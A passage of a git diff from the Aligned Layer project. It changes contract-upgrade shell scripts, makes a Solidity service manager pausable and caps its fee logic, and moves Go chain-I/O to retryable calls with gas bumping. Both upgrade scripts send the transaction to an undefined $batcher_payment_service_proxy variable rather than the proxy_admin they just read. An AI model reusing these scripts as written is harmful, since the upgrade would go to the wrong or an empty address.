"${BASH_SOURCE[0]}")" ; pwd -P ) @@ -21,6 +26,7 @@ forge_output=$(forge script script/upgrade/RegistryCoordinatorUpgrader.s.sol \ echo "$forge_output" # Extract the alignedLayerServiceManagerImplementation value from the output +registry_coordinator=$(echo "$forge_output" | awk '/0: address/ {print $3}') new_registry_coordinator_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') # Use the extracted value to replace the alignedLayerServiceManagerImplementation value in alignedlayer_deployment_output.json and save it to a temporary file @@ -31,3 +37,16 @@ mv "script/output/holesky/alignedlayer_deployment_output.temp.json" $OUTPUT_PATH # Delete the temporary file rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" + +data=$(cast calldata "upgrade(address, address)" $registry_coordinator $new_registry_coordinator_implementation) + +if [ "$MULTISIG" = false ]; then + echo "Executing upgrade transaction" + proxy_admin=$(jq -r '.addresses.alignedLayerProxyAdmin' $OUTPUT_PATH) + cast send $batcher_payment_service_proxy $data \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY +else + echo "You can propose the upgrade transaction with the multisig using this calldata" + echo $data +fi diff --git a/contracts/scripts/upgrade_stake_registry.sh b/contracts/scripts/upgrade_stake_registry.sh index fdd7a540b..05e805ca1 100755 --- a/contracts/scripts/upgrade_stake_registry.sh +++ b/contracts/scripts/upgrade_stake_registry.sh @@ -1,5 +1,10 @@ #!/bin/bash +if [ -z "$MULTISIG" ]; then + echo "Missing MULTISIG env variable" + exit 1 +fi + # cd to the directory of this script so that this can be run from anywhere parent_path=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) @@ -19,6 +24,7 @@ forge_output=$(forge script script/upgrade/StakeRegistryUpgrader.s.sol \ echo "$forge_output" # Extract the alignedLayerServiceManagerImplementation value from the output +stakeRegistry=$(echo "$forge_output" | awk '/0: address/ {print $3}') new_stake_registry_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') # Use the extracted value to replace the alignedLayerServiceManagerImplementation value in alignedlayer_deployment_output.json and save it to a temporary file @@ -29,3 +35,16 @@ mv "script/output/holesky/alignedlayer_deployment_output.temp.json" "script/outp # Delete the temporary file rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" + +data=$(cast calldata "upgrade(address, address)" $stakeRegistry $new_stake_registry_implementation) + +if [ "$MULTISIG" = false ]; then + echo "Executing upgrade transaction" + proxy_admin=$(jq -r '.addresses.alignedLayerProxyAdmin' $OUTPUT_PATH) + cast send $batcher_payment_service_proxy $data \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY +else + echo "You can propose the upgrade transaction with the multisig using this calldata" + echo $data +fi diff --git a/contracts/src/core/AlignedLayerServiceManager.sol b/contracts/src/core/AlignedLayerServiceManager.sol index 8a5c60a13..7a3ea818b 100644 --- a/contracts/src/core/AlignedLayerServiceManager.sol +++ b/contracts/src/core/AlignedLayerServiceManager.sol @@ -9,6 +9,8 @@ import {Merkle} from "eigenlayer-core/contracts/libraries/Merkle.sol"; import {IRewardsCoordinator} from "eigenlayer-contracts/src/contracts/interfaces/IRewardsCoordinator.sol"; import {AlignedLayerServiceManagerStorage} from "./AlignedLayerServiceManagerStorage.sol"; import {IAlignedLayerServiceManager} from "./IAlignedLayerServiceManager.sol"; +import {IPauserRegistry} from "eigenlayer-core/contracts/interfaces/IPauserRegistry.sol"; +import {Pausable} from "eigenlayer-core/contracts/permissions/Pausable.sol"; /** * @title Primary entrypoint for procuring services from Aligned. @@ -17,7 +19,8 @@ contract AlignedLayerServiceManager is IAlignedLayerServiceManager, ServiceManagerBase, BLSSignatureChecker, - AlignedLayerServiceManagerStorage + AlignedLayerServiceManagerStorage, + Pausable { uint256 internal constant THRESHOLD_DENOMINATOR = 100; uint8 internal constant QUORUM_THRESHOLD_PERCENTAGE = 67; @@ -51,11 +54,20 @@ contract AlignedLayerServiceManager is _disableInitializers(); } - // @param _rewardsInitiator The address which is allowed to create AVS rewards submissions. + /** + * @notice Initializes the contract with the initial owner. + * @param _initialOwner The initial owner of the contract. + * @param _rewardsInitiator The address which is allowed to create AVS rewards submissions. + * @param _alignedAggregator The address of the aggregator. + * @param _pauserRegistry a registry of addresses that can pause the contract + * @param _initialPausedStatus pause status after calling initialize + */ function initialize( address _initialOwner, address _rewardsInitiator, - address _alignedAggregator + address _alignedAggregator, + IPauserRegistry _pauserRegistry, + uint256 _initialPausedStatus ) public initializer { if (_initialOwner == address(0)) { revert InvalidAddress("initialOwner"); @@ -68,6 +80,8 @@ contract AlignedLayerServiceManager is } __ServiceManagerBase_init(_initialOwner, _rewardsInitiator); alignedAggregator = _alignedAggregator; //can't do setAggregator(aggregator) since caller is not the owner + _transferOwnership(_initialOwner); // TODO check is this needed? is it not called in __ServiceManagerBase_init ? + _initializePauser(_pauserRegistry, _initialPausedStatus); } // This function is to be run only on upgrade @@ -79,11 +93,20 @@ contract AlignedLayerServiceManager is setAggregator(_alignedAggregator); } + // Just to be used to upgrade contracts without the pausable functionality + // Once the contract is pausable this method is not needed anymore + function initializePauser( + IPauserRegistry _pauserRegistry, + uint256 _initialPausedStatus + ) public reinitializer(3) { + _initializePauser(_pauserRegistry, _initialPausedStatus); + } + function createNewTask( bytes32 batchMerkleRoot, string calldata batchDataPointer, uint256 respondToTaskFeeLimit - ) external payable { + ) external payable onlyWhenNotPaused(0) { bytes32 batchIdentifier = keccak256( abi.encodePacked(batchMerkleRoot, msg.sender) ); @@ -131,7 +154,7 @@ contract AlignedLayerServiceManager is bytes32 batchMerkleRoot, address senderAddress, NonSignerStakesAndSignature memory nonSignerStakesAndSignature - ) external onlyAggregator { + ) external onlyAggregator onlyWhenNotPaused(1) { uint256 initialGasLeft = gasleft(); bytes32 batchIdentifierHash = keccak256( @@ -191,20 +214,18 @@ contract AlignedLayerServiceManager is // 70k was measured by trial and error until the aggregator got paid a bit over what it needed uint256 txCost = (initialGasLeft - gasleft() + 70_000) * tx.gasprice; - if (txCost > currentBatch.respondToTaskFeeLimit) { - revert ExceededMaxRespondFee( - currentBatch.respondToTaskFeeLimit, - txCost - ); - } + // limit amount to spend is respondToTaskFeeLimit + uint256 transferAmount = txCost < currentBatch.respondToTaskFeeLimit ? + txCost : currentBatch.respondToTaskFeeLimit; + + batchersBalances[senderAddress] -= transferAmount; - // Subtract the txCost from the batcher's balance - batchersBalances[senderAddress] -= txCost; emit BatcherBalanceUpdated( senderAddress, batchersBalances[senderAddress] ); - payable(alignedAggregator).transfer(txCost); + + payable(alignedAggregator).transfer(transferAmount); } function isVerifierDisabled( @@ -241,7 +262,7 @@ contract AlignedLayerServiceManager is bytes memory merkleProof, uint256 verificationDataBatchIndex, address senderAddress - ) external view returns (bool) { + ) external view onlyWhenNotPaused(2) returns (bool) { bytes32 batchIdentifier; if (senderAddress == address(0)) { batchIdentifier = batchMerkleRoot; @@ -286,25 +307,24 @@ contract AlignedLayerServiceManager is bytes32 batchMerkleRoot, bytes memory merkleProof, uint256 verificationDataBatchIndex - ) external view returns (bool) { - return - this.verifyBatchInclusion( - proofCommitment, - pubInputCommitment, - provingSystemAuxDataCommitment, - proofGeneratorAddr, - batchMerkleRoot, - merkleProof, - verificationDataBatchIndex, - address(0) - ); + ) external view onlyWhenNotPaused(2) returns (bool) { + return this.verifyBatchInclusion( + proofCommitment, + pubInputCommitment, + provingSystemAuxDataCommitment, + proofGeneratorAddr, + batchMerkleRoot, + merkleProof, + verificationDataBatchIndex, + address(0) + ); } function setAggregator(address _alignedAggregator) public onlyOwner { alignedAggregator = _alignedAggregator; } - function withdraw(uint256 amount) external { + function withdraw(uint256 amount) external onlyWhenNotPaused(3) { if (batchersBalances[msg.sender] < amount) { revert InsufficientFunds( msg.sender, @@ -323,7 +343,7 @@ contract AlignedLayerServiceManager is return batchersBalances[account]; } - function depositToBatcher(address account) external payable { + function depositToBatcher(address account) external payable onlyWhenNotPaused(4) { _depositToBatcher(account, msg.value); } @@ -335,7 +355,7 @@ contract AlignedLayerServiceManager is emit BatcherBalanceUpdated(account, batchersBalances[account]); } - receive() external payable { + receive() external payable onlyWhenNotPaused(5) { _depositToBatcher(msg.sender, msg.value); } diff --git a/contracts/src/core/IAlignedLayerServiceManager.sol b/contracts/src/core/IAlignedLayerServiceManager.sol index 34f860158..ca44baf21 100644 --- a/contracts/src/core/IAlignedLayerServiceManager.sol +++ b/contracts/src/core/IAlignedLayerServiceManager.sol @@ -35,7 +35,6 @@ interface IAlignedLayerServiceManager { error InvalidQuorumThreshold(uint256 signedStake, uint256 requiredStake); // a61eb88a error SenderIsNotAggregator(address sender, address alignedAggregator); // 2cbe4195 error InvalidDepositAmount(uint256 amount); // 412ed242 - error ExceededMaxRespondFee(uint256 respondToTaskFeeLimit, uint256 txCost); // 86fc507e error InvalidAddress(string param); // 161eb542 function createNewTask( diff --git a/core/chainio/avs_subscriber.go b/core/chainio/avs_subscriber.go index 29afab7dc..ea810da62 100644 --- a/core/chainio/avs_subscriber.go +++ b/core/chainio/avs_subscriber.go @@ -3,16 +3,15 @@ package chainio import ( "context" "encoding/hex" - "fmt" "sync" "time" + "github.com/ethereum/go-ethereum/accounts/abi/bind" ethcommon "github.com/ethereum/go-ethereum/common" - "github.com/ethereum/go-ethereum/accounts/abi/bind" "github.com/ethereum/go-ethereum/core/types" - "github.com/ethereum/go-ethereum/event" servicemanager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" + retry "github.com/yetanotherco/aligned_layer/core" "github.com/yetanotherco/aligned_layer/core/config" sdklogging "github.com/Layr-Labs/eigensdk-go/logging" @@ -67,17 +66,18 @@ func (s *AvsSubscriber) SubscribeToNewTasksV2(newTaskCreatedChan chan *servicema internalChannel := make(chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV2) // Subscribe to new tasks - sub, err := subscribeToNewTasksV2(s.AvsContractBindings.ServiceManager, internalChannel, s.logger) + sub, err := SubscribeToNewTasksV2Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManager, internalChannel, nil) if err != nil { - s.logger.Error("Failed to subscribe to new AlignedLayer tasks", "err", err) + s.logger.Error("Primary failed to subscribe to new AlignedLayer V2 tasks after %d retries", retry.NumRetries, "err", err) return nil, err } - subFallback, err := subscribeToNewTasksV2(s.AvsContractBindings.ServiceManagerFallback, internalChannel, s.logger) + subFallback, err := SubscribeToNewTasksV2Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManagerFallback, internalChannel, nil) if err != nil { - s.logger.Error("Failed to subscribe to new AlignedLayer tasks", "err", err) + s.logger.Error("Fallback failed to subscribe to new AlignedLayer V2 tasks after %d retries", retry.NumRetries, "err", err) return nil, err } + s.logger.Info("Subscribed to new AlignedLayer V2 tasks") // create a new channel to foward errors errorChannel := make(chan error) @@ -114,14 +114,14 @@ func (s *AvsSubscriber) SubscribeToNewTasksV2(newTaskCreatedChan chan *servicema case err := <-sub.Err(): s.logger.Warn("Error in new task subscription", "err", err) sub.Unsubscribe() - sub, err = subscribeToNewTasksV2(s.AvsContractBindings.ServiceManager, internalChannel, s.logger) + sub, err = SubscribeToNewTasksV2Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManager, internalChannel, nil) if err != nil { errorChannel <- err } case err := <-subFallback.Err(): s.logger.Warn("Error in fallback new task subscription", "err", err) subFallback.Unsubscribe() - subFallback, err = subscribeToNewTasksV2(s.AvsContractBindings.ServiceManagerFallback, internalChannel, s.logger) + subFallback, err = SubscribeToNewTasksV2Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManagerFallback, internalChannel, nil) if err != nil { errorChannel <- err } @@ -137,17 +137,18 @@ func (s *AvsSubscriber) SubscribeToNewTasksV3(newTaskCreatedChan chan *servicema internalChannel := make(chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV3) // Subscribe to new tasks - sub, err := subscribeToNewTasksV3(s.AvsContractBindings.ServiceManager, internalChannel, s.logger) + sub, err := SubscribeToNewTasksV3Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManager, internalChannel, nil) if err != nil { - s.logger.Error("Failed to subscribe to new AlignedLayer tasks", "err", err) + s.logger.Error("Primary failed to subscribe to new AlignedLayer V3 tasks after %d retries", MaxRetries, "err", err) return nil, err } - subFallback, err := subscribeToNewTasksV3(s.AvsContractBindings.ServiceManagerFallback, internalChannel, s.logger) + subFallback, err := SubscribeToNewTasksV3Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManagerFallback, internalChannel, nil) if err != nil { - s.logger.Error("Failed to subscribe to new AlignedLayer tasks", "err", err) + s.logger.Error("Fallback failed to subscribe to new AlignedLayer V3 tasks after %d retries", MaxRetries, "err", err) return nil, err } + s.logger.Info("Subscribed to new AlignedLayer V3 tasks") // create a new channel to foward errors errorChannel := make(chan error) @@ -184,14 +185,14 @@ func (s *AvsSubscriber) SubscribeToNewTasksV3(newTaskCreatedChan chan *servicema case err := <-sub.Err(): s.logger.Warn("Error in new task subscription", "err", err) sub.Unsubscribe() - sub, err = subscribeToNewTasksV3(s.AvsContractBindings.ServiceManager, internalChannel, s.logger) + sub, err = SubscribeToNewTasksV3Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManager, internalChannel, nil) if err != nil { errorChannel <- err } case err := <-subFallback.Err(): s.logger.Warn("Error in fallback new task subscription", "err", err) subFallback.Unsubscribe() - subFallback, err = subscribeToNewTasksV3(s.AvsContractBindings.ServiceManagerFallback, internalChannel, s.logger) + subFallback, err = SubscribeToNewTasksV3Retryable(&bind.WatchOpts{}, s.AvsContractBindings.ServiceManagerFallback, internalChannel, nil) if err != nil { errorChannel <- err } @@ -202,50 +203,6 @@ func (s *AvsSubscriber) SubscribeToNewTasksV3(newTaskCreatedChan chan *servicema return errorChannel, nil } -func subscribeToNewTasksV2( - serviceManager *servicemanager.ContractAlignedLayerServiceManager, - newTaskCreatedChan chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV2, - logger sdklogging.Logger, -) (event.Subscription, error) { - for i := 0; i < MaxRetries; i++ { - sub, err := serviceManager.WatchNewBatchV2( - &bind.WatchOpts{}, newTaskCreatedChan, nil, - ) - if err != nil { - logger.Warn("Failed to subscribe to new AlignedLayer tasks", "err", err) - time.Sleep(RetryInterval) - continue - } - - logger.Info("Subscribed to new AlignedLayer tasks") - return sub, nil - } - - return nil, fmt.Errorf("failed to subscribe to new AlignedLayer tasks after %d retries", MaxRetries) -} - -func subscribeToNewTasksV3( - serviceManager *servicemanager.ContractAlignedLayerServiceManager, - newTaskCreatedChan chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV3, - logger sdklogging.Logger, -) (event.Subscription, error) { - for i := 0; i < MaxRetries; i++ { - sub, err := serviceManager.WatchNewBatchV3( - &bind.WatchOpts{}, newTaskCreatedChan, nil, - ) - if err != nil { - logger.Warn("Failed to subscribe to new AlignedLayer tasks", "err", err) - time.Sleep(RetryInterval) - continue - } - - logger.Info("Subscribed to new AlignedLayer tasks") - return sub, nil - } - - return nil, fmt.Errorf("failed to subscribe to new AlignedLayer tasks after %d retries", MaxRetries) -} - func (s *AvsSubscriber) processNewBatchV2(batch *servicemanager.ContractAlignedLayerServiceManagerNewBatchV2, batchesSet map[[32]byte]struct{}, newBatchMutex *sync.Mutex, newTaskCreatedChan chan<- *servicemanager.ContractAlignedLayerServiceManagerNewBatchV2) { newBatchMutex.Lock() defer newBatchMutex.Unlock() @@ -300,12 +257,10 @@ func (s *AvsSubscriber) processNewBatchV3(batch *servicemanager.ContractAlignedL // getLatestNotRespondedTaskFromEthereum queries the blockchain for the latest not responded task using the FilterNewBatch method. func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV2() (*servicemanager.ContractAlignedLayerServiceManagerNewBatchV2, error) { - latestBlock, err := s.AvsContractBindings.ethClient.BlockNumber(context.Background()) + + latestBlock, err := s.BlockNumberRetryable(context.Background()) if err != nil { - latestBlock, err = s.AvsContractBindings.ethClientFallback.BlockNumber(context.Background()) - if err != nil { - return nil, err - } + return nil, err } var fromBlock uint64 @@ -316,7 +271,7 @@ func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV2() (*servicemanag fromBlock = latestBlock - BlockInterval } - logs, err := s.AvsContractBindings.ServiceManager.FilterNewBatchV2(&bind.FilterOpts{Start: fromBlock, End: nil, Context: context.Background()}, nil) + logs, err := s.FilterBatchV2Retryable(&bind.FilterOpts{Start: fromBlock, End: nil, Context: context.Background()}, nil) if err != nil { return nil, err } @@ -338,8 +293,7 @@ func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV2() (*servicemanag batchIdentifier := append(lastLog.BatchMerkleRoot[:], lastLog.SenderAddress[:]...) batchIdentifierHash := *(*[32]byte)(crypto.Keccak256(batchIdentifier)) - state, err := s.AvsContractBindings.ServiceManager.ContractAlignedLayerServiceManagerCaller.BatchesState(nil, batchIdentifierHash) - + state, err := s.BatchesStateRetryable(nil, batchIdentifierHash) if err != nil { return nil, err } @@ -353,12 +307,9 @@ func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV2() (*servicemanag // getLatestNotRespondedTaskFromEthereum queries the blockchain for the latest not responded task using the FilterNewBatch method. func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV3() (*servicemanager.ContractAlignedLayerServiceManagerNewBatchV3, error) { - latestBlock, err := s.AvsContractBindings.ethClient.BlockNumber(context.Background()) + latestBlock, err := s.BlockNumberRetryable(context.Background()) if err != nil { - latestBlock, err = s.AvsContractBindings.ethClientFallback.BlockNumber(context.Background()) - if err != nil { - return nil, err - } + return nil, err } var fromBlock uint64 @@ -369,7 +320,7 @@ func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV3() (*servicemanag fromBlock = latestBlock - BlockInterval } - logs, err := s.AvsContractBindings.ServiceManager.FilterNewBatchV3(&bind.FilterOpts{Start: fromBlock, End: nil, Context: context.Background()}, nil) + logs, err := s.FilterBatchV3Retryable(&bind.FilterOpts{Start: fromBlock, End: nil, Context: context.Background()}, nil) if err != nil { return nil, err } @@ -391,8 +342,7 @@ func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV3() (*servicemanag batchIdentifier := append(lastLog.BatchMerkleRoot[:], lastLog.SenderAddress[:]...) batchIdentifierHash := *(*[32]byte)(crypto.Keccak256(batchIdentifier)) - state, err := s.AvsContractBindings.ServiceManager.ContractAlignedLayerServiceManagerCaller.BatchesState(nil, batchIdentifierHash) - + state, err := s.BatchesStateRetryable(nil, batchIdentifierHash) if err != nil { return nil, err } @@ -405,29 +355,22 @@ func (s *AvsSubscriber) getLatestNotRespondedTaskFromEthereumV3() (*servicemanag } func (s *AvsSubscriber) WaitForOneBlock(startBlock uint64) error { - currentBlock, err := s.AvsContractBindings.ethClient.BlockNumber(context.Background()) + currentBlock, err := s.BlockNumberRetryable(context.Background()) if err != nil { - // try with the fallback client - currentBlock, err = s.AvsContractBindings.ethClientFallback.BlockNumber(context.Background()) - if err != nil { - return err - } + return err } if currentBlock <= startBlock { // should really be == but just in case // Subscribe to new head c := make(chan *types.Header) - sub, err := s.AvsContractBindings.ethClient.SubscribeNewHead(context.Background(), c) + sub, err := s.SubscribeNewHeadRetryable(context.Background(), c) if err != nil { - sub, err = s.AvsContractBindings.ethClientFallback.SubscribeNewHead(context.Background(), c) - if err != nil { - return err - } + return err } // Read channel for the new block <-c - sub.Unsubscribe() + (sub).Unsubscribe() } return nil diff --git a/core/chainio/avs_writer.go b/core/chainio/avs_writer.go index a6a820195..63a3da914 100644 --- a/core/chainio/avs_writer.go +++ b/core/chainio/avs_writer.go @@ -2,6 +2,7 @@ package chainio import ( "context" + "encoding/hex" "fmt" "math/big" "time" @@ -15,7 +16,10 @@ import ( "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/core/types" servicemanager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" + retry "github.com/yetanotherco/aligned_layer/core" "github.com/yetanotherco/aligned_layer/core/config" + "github.com/yetanotherco/aligned_layer/core/utils" + "github.com/yetanotherco/aligned_layer/metrics" ) type AvsWriter struct { @@ -25,9 +29,10 @@ type AvsWriter struct { Signer signer.Signer Client eth.InstrumentedClient ClientFallback eth.InstrumentedClient + metrics *metrics.Metrics } -func NewAvsWriterFromConfig(baseConfig *config.BaseConfig, ecdsaConfig *config.EcdsaConfig) (*AvsWriter, error) { +func NewAvsWriterFromConfig(baseConfig *config.BaseConfig, ecdsaConfig *config.EcdsaConfig, metrics *metrics.Metrics) (*AvsWriter, error) { buildAllConfig := clients.BuildAllConfig{ EthHttpUrl: baseConfig.EthRpcUrl, @@ -67,70 +72,170 @@ func NewAvsWriterFromConfig(baseConfig *config.BaseConfig, ecdsaConfig *config.E Signer: privateKeySigner, Client: baseConfig.EthRpcClient, ClientFallback: baseConfig.EthRpcClientFallback, + metrics: metrics, }, nil } -func (w *AvsWriter) SendAggregatedResponse(batchIdentifierHash [32]byte, batchMerkleRoot [32]byte, senderAddress [20]byte, nonSignerStakesAndSignature servicemanager.IBLSSignatureCheckerNonSignerStakesAndSignature) (*common.Hash, error) { +// SendAggregatedResponse continuously sends a RespondToTask transaction until it is included in the blockchain. +// This function: +// 1. Simulates the transaction to calculate the nonce and initial gas price without broadcasting it. +// 2. Repeatedly attempts to send the transaction, bumping the gas price after `timeToWaitBeforeBump` has passed. +// 3. Monitors for the receipt of previously sent transactions or checks the state to confirm if the response +// has already been processed (e.g., by another transaction). +// 4. Validates that the aggregator and batcher have sufficient balance to cover transaction costs before sending. +// +// Returns: +// - A transaction receipt if the transaction is successfully included in the blockchain. +// - If no receipt is found, but the batch state indicates the response has already been processed, it exits +// without an error (returning `nil, nil`). +// - An error if the process encounters a fatal issue (e.g., permanent failure in verifying balances or state). +func (w *AvsWriter) SendAggregatedResponse(batchIdentifierHash [32]byte, batchMerkleRoot [32]byte, senderAddress [20]byte, nonSignerStakesAndSignature servicemanager.IBLSSignatureCheckerNonSignerStakesAndSignature, gasBumpPercentage uint, gasBumpIncrementalPercentage uint, timeToWaitBeforeBump time.Duration, onGasPriceBumped func(*big.Int)) (*types.Receipt, error) { txOpts := *w.Signer.GetTxOpts() txOpts.NoSend = true // simulate the transaction - tx, err := w.AvsContractBindings.ServiceManager.RespondToTaskV2(&txOpts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) - if err != nil { - // Retry with fallback - tx, err = w.AvsContractBindings.ServiceManagerFallback.RespondToTaskV2(&txOpts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) - if err != nil { - return nil, fmt.Errorf("transaction simulation failed: %v", err) - } - } - - err = w.checkRespondToTaskFeeLimit(tx, txOpts, batchIdentifierHash, senderAddress) + simTx, err := w.RespondToTaskV2Retryable(&txOpts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) if err != nil { return nil, err } - // Send the transaction + // Set the nonce, as we might have to replace the transaction with a higher gas price + txNonce := big.NewInt(int64(simTx.Nonce())) + txOpts.Nonce = txNonce + txOpts.GasPrice = simTx.GasPrice() txOpts.NoSend = false - txOpts.GasLimit = tx.Gas() * 110 / 100 // Add 10% to the gas limit - tx, err = w.AvsContractBindings.ServiceManager.RespondToTaskV2(&txOpts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) - if err != nil { - // Retry with fallback - tx, err = w.AvsContractBindings.ServiceManagerFallback.RespondToTaskV2(&txOpts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) + i := 0 + + var sentTxs []*types.Transaction + + batchMerkleRootHashString := hex.EncodeToString(batchMerkleRoot[:]) + + respondToTaskV2Func := func() (*types.Receipt, error) { + gasPrice, err := utils.GetGasPriceRetryable(w.Client, w.ClientFallback) if err != nil { return nil, err } - } + previousTxGasPrice := txOpts.GasPrice + // in order to avoid replacement transaction underpriced + // the bumped gas price has to be at least 10% higher than the previous one. + minimumGasPriceBump := utils.CalculateGasPriceBumpBasedOnRetry(previousTxGasPrice, 10, 0, 0) + suggestedBumpedGasPrice := utils.CalculateGasPriceBumpBasedOnRetry( + gasPrice, + gasBumpPercentage, + gasBumpIncrementalPercentage, + i, + ) + // check the new gas price is sufficiently bumped. + // if the suggested bump does not meet the minimum threshold, use a fallback calculation to slightly increment the previous gas price. + if suggestedBumpedGasPrice.Cmp(minimumGasPriceBump) > 0 { + txOpts.GasPrice = suggestedBumpedGasPrice + } else { + txOpts.GasPrice = minimumGasPriceBump + } - txHash := tx.Hash() + if i > 0 { + w.logger.Infof("Trying to get old sent transaction receipt before sending a new transaction", "merkle root", batchMerkleRootHashString) + for _, tx := range sentTxs { + receipt, _ := w.Client.TransactionReceipt(context.Background(), tx.Hash()) + if receipt == nil { + receipt, _ = w.ClientFallback.TransactionReceipt(context.Background(), tx.Hash()) + if receipt != nil { + w.checkIfAggregatorHadToPaidForBatcher(tx, batchIdentifierHash) + return receipt, nil + } + } + } + w.logger.Infof("Receipts for old transactions not found, will check if the batch state has been responded", "merkle root", batchMerkleRootHashString) + batchState, _ := w.BatchesStateRetryable(&bind.CallOpts{}, batchIdentifierHash) + if batchState.Responded { + w.logger.Infof("Batch state has been already responded", "merkle root", batchMerkleRootHashString) + return nil, nil + } + w.logger.Infof("Batch state has not been responded yet, will send a new tx", "merkle root", batchMerkleRootHashString) - return &txHash, nil -} + onGasPriceBumped(txOpts.GasPrice) + } -func (w *AvsWriter) checkRespondToTaskFeeLimit(tx *types.Transaction, txOpts bind.TransactOpts, batchIdentifierHash [32]byte, senderAddress [20]byte) error { - aggregatorAddress := txOpts.From - simulatedCost := new(big.Int).Mul(new(big.Int).SetUint64(tx.Gas()), tx.GasPrice()) - w.logger.Info("Simulated cost", "cost", simulatedCost) + // We compare both Aggregator funds and Batcher balance in Aligned against respondToTaskFeeLimit + // Both are required to have some balance, more details inside the function + err = w.checkAggAndBatcherHaveEnoughBalance(simTx, txOpts, batchIdentifierHash, senderAddress) + if err != nil { + w.logger.Errorf("Permanent error when checking aggregator and batcher balances, err %v", err, "merkle root", batchMerkleRootHashString) + return nil, retry.PermanentError{Inner: err} + } - // Get RespondToTaskFeeLimit - batchState, err := w.AvsContractBindings.ServiceManager.BatchesState(&bind.CallOpts{}, batchIdentifierHash) - if err != nil { - // Retry with fallback - batchState, err = w.AvsContractBindings.ServiceManagerFallback.BatchesState(&bind.CallOpts{}, batchIdentifierHash) + w.logger.Infof("Sending RespondToTask transaction with a gas price of %v", txOpts.GasPrice, "merkle root", batchMerkleRootHashString) + realTx, err := w.RespondToTaskV2Retryable(&txOpts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) + if err != nil { + w.logger.Errorf("Respond to task transaction err, %v", err, "merkle root", batchMerkleRootHashString) + return nil, err + } + sentTxs = append(sentTxs, realTx) + + w.logger.Infof("Transaction sent, waiting for receipt", "merkle root", batchMerkleRootHashString) + receipt, err := utils.WaitForTransactionReceiptRetryable(w.Client, w.ClientFallback, realTx.Hash(), timeToWaitBeforeBump) + if receipt != nil { + w.checkIfAggregatorHadToPaidForBatcher(realTx, batchIdentifierHash) + return receipt, nil + } + + // if we are here, it means we have reached the receipt waiting timeout + // we increment the i here to add an incremental percentage to increase the odds of being included in the next blocks + i++ + + w.logger.Infof("RespondToTask receipt waiting timeout has passed, will try again...", "merkle_root", batchMerkleRootHashString) if err != nil { - // Fallback also failed - // Proceed to check values against simulated costs - w.logger.Error("Failed to get batch state", "error", err) - w.logger.Info("Proceeding with simulated cost checks") - return w.compareBalances(simulatedCost, aggregatorAddress, senderAddress) + return nil, err } + return nil, fmt.Errorf("transaction failed") + } + + // This just retries the bump of a fee in case of a timeout + // The wait is done before on WaitForTransactionReceiptRetryable, and all the functions are retriable, + // so this retry doesn't need to wait more time + maxInterval := time.Millisecond * 500 + return retry.RetryWithData(respondToTaskV2Func, retry.MinDelay, retry.RetryFactor, 0, maxInterval, 0) +} + +// Calculates the transaction cost from the receipt and compares it with the batcher respondToTaskFeeLimit +// if the tx cost was higher, then it means the aggregator has paid the difference for the batcher (txCost - respondToTaskFeeLimit) and so metrics are updated accordingly. +// otherwise nothing is done. +func (w *AvsWriter) checkIfAggregatorHadToPaidForBatcher(tx *types.Transaction, batchIdentifierHash [32]byte) { + batchState, err := w.BatchesStateRetryable(&bind.CallOpts{}, batchIdentifierHash) + if err != nil { + return } - // At this point, batchState was successfully retrieved - // Proceed to check values against RespondToTaskFeeLimit respondToTaskFeeLimit := batchState.RespondToTaskFeeLimit - w.logger.Info("Batch RespondToTaskFeeLimit", "RespondToTaskFeeLimit", respondToTaskFeeLimit) - if respondToTaskFeeLimit.Cmp(simulatedCost) < 0 { - return fmt.Errorf("cost of transaction is higher than Batch.RespondToTaskFeeLimit") + // NOTE we are not using tx.Cost() because tx.Cost() includes tx.Value() + txCost := new(big.Int).Mul(big.NewInt(int64(tx.Gas())), tx.GasPrice()) + + if respondToTaskFeeLimit.Cmp(txCost) < 0 { + aggregatorDifferencePaid := new(big.Int).Sub(txCost, respondToTaskFeeLimit) + aggregatorDifferencePaidInEth := utils.WeiToEth(aggregatorDifferencePaid) + w.metrics.AddAggregatorGasPaidForBatcher(aggregatorDifferencePaidInEth) + w.metrics.IncAggregatorPaidForBatcher() + w.logger.Warnf("cost of transaction was higher than Batch.RespondToTaskFeeLimit, aggregator has paid the for the difference, aprox: %vethers", aggregatorDifferencePaidInEth) } +} +func (w *AvsWriter) checkAggAndBatcherHaveEnoughBalance(tx *types.Transaction, txOpts bind.TransactOpts, batchIdentifierHash [32]byte, senderAddress [20]byte) error { + w.logger.Info("Checking if aggregator and batcher have enough balance for the transaction") + aggregatorAddress := txOpts.From + txGasAsBigInt := new(big.Int).SetUint64(tx.Gas()) + txGasPrice := txOpts.GasPrice + txCost := new(big.Int).Mul(txGasAsBigInt, 